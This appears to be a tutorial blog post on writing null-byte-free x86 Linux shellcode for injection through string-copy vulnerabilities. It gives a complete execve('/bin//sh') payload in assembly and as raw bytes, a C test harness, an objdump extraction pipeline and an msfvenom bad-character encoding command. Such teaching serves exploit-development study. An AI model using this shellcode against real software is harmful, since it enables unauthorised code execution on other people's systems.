Notes

Writing x86 Shellcode Without Null Bytes

Techniques for crafting position-independent shellcode that avoids null bytes and other bad characters.

deep dive 1 min read

When injecting shellcode through string-based vulnerabilities, null bytes (\x00) terminate the copy operation. This post covers techniques for writing null-free shellcode.

The Problem

Simple shellcode often contains nulls:

mov eax, 0xb         ; b8 0b 00 00 00 - contains nulls!
mov ebx, 0x804a000   ; bb 00 a0 04 08 - contains null!

Technique 1: XOR Zeroing

Instead of mov eax, 0, use XOR:

xor eax, eax         ; 31 c0 - no nulls!

This sets EAX to zero because any value XORed with itself equals zero.

Technique 2: Partial Register Access

x86 allows accessing register portions:

; Instead of: mov eax, 0xb (contains nulls)
xor eax, eax         ; Zero EAX first
mov al, 0xb          ; b0 0b - only set low byte

Technique 3: Stack-Based Strings

Push string components in reverse:

xor eax, eax
push eax              ; Null terminator (pushed as 4 bytes)
push 0x68732f2f       ; "//sh"
push 0x6e69622f       ; "/bin"
mov ebx, esp          ; EBX points to "/bin//sh\0"

The extra / in //sh pads to 4 bytes and is ignored by the shell.

Complete Example

Null-free execve("/bin//sh", NULL, NULL):

section .text
    global _start

_start:
    xor eax, eax        ; Zero EAX
    push eax            ; Push null terminator
    push 0x68732f2f     ; "//sh"
    push 0x6e69622f     ; "/bin"
    mov ebx, esp        ; EBX = pointer to "/bin//sh"
    mov ecx, eax        ; ECX = NULL (argv)
    mov edx, eax        ; EDX = NULL (envp)
    mov al, 0xb         ; Syscall 11 = execve
    int 0x80            ; Execute

Assembled Bytes

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80

Only 23 bytes, no nulls.

Extracting Shellcode

Use objdump to get bytes:

objdump -d shellcode | grep '[0-9a-f]:' | \
  grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | \
  tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | \
  sed 's/ /\\x/g' | paste -d '' -s | \
  sed 's/^/"/' | sed 's/$/"/g'

Testing Shellcode

Create a test harness:

// gcc -m32 -z execstack -o test test.c
char shellcode[] = "\x31\xc0\x50...";

int main() {
    ((void(*)())shellcode)();
    return 0;
}

Other Bad Characters

Beyond null bytes, watch for:

  • \x0a - Newline (terminates line input)
  • \x0d - Carriage return
  • \x20 - Space (URL/HTTP parsing)
  • \x3f - Question mark (URL parsing)

Use msfvenom’s -b flag to encode around bad characters:

msfvenom -p linux/x86/exec CMD=/bin/sh -b '\x00\x0a\x0d' -f c